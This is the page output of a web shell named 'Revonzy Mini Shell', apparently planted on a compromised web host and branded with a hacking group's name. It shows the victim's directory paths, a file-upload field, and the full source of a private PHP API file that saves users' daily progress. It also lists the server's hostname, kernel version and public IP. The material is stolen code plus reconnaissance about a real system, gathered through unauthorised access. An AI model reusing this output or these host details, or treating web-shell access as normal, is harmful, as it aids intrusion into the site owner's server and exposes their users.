Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/public_html/bprisk.online/strongergenadmin/api/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/public_html/bprisk.online/strongergenadmin/api/set-day-completed-status.php

<?php

/*ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);*/

	require_once("../lib/function.php");
	$db = new login_function();
	
	$response = array();
	
	if(isset($_POST['category_id']))
	{
		$user_mobile_no  = $_POST['user_mobile_no'];
		$category_id     = $_POST['category_id'];
		$level_id     	 = $_POST['level_id'];
		$week_id 		 = $_POST['week_id'];
		$day_id          = $_POST['day_id'];
		
		$exist_day = $db->get_day_exist_for_user($user_mobile_no,$category_id,$level_id,$week_id,$day_id);
		
		if($exist_day=="")
		{
		    if($db->insert_day_record_of_user($user_mobile_no,$category_id,$level_id,$week_id,$day_id))
		    {
		        $response["status"] = 1;
                $response["message"] = "Day record saved successfully";
		    }
		    else
		    {
		        $response["status"] = 0;
                $response["message"] = "Failed to save";
		    }
		}
		else
		{
		    $response["status"] = 0;
            $response["message"] = "This day is already saved";
		}
	}
	else
	{
	    $response["status"] = 0;
        $response["message"] = "No Key Found";
	}
	
    echo json_encode($response);
?>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4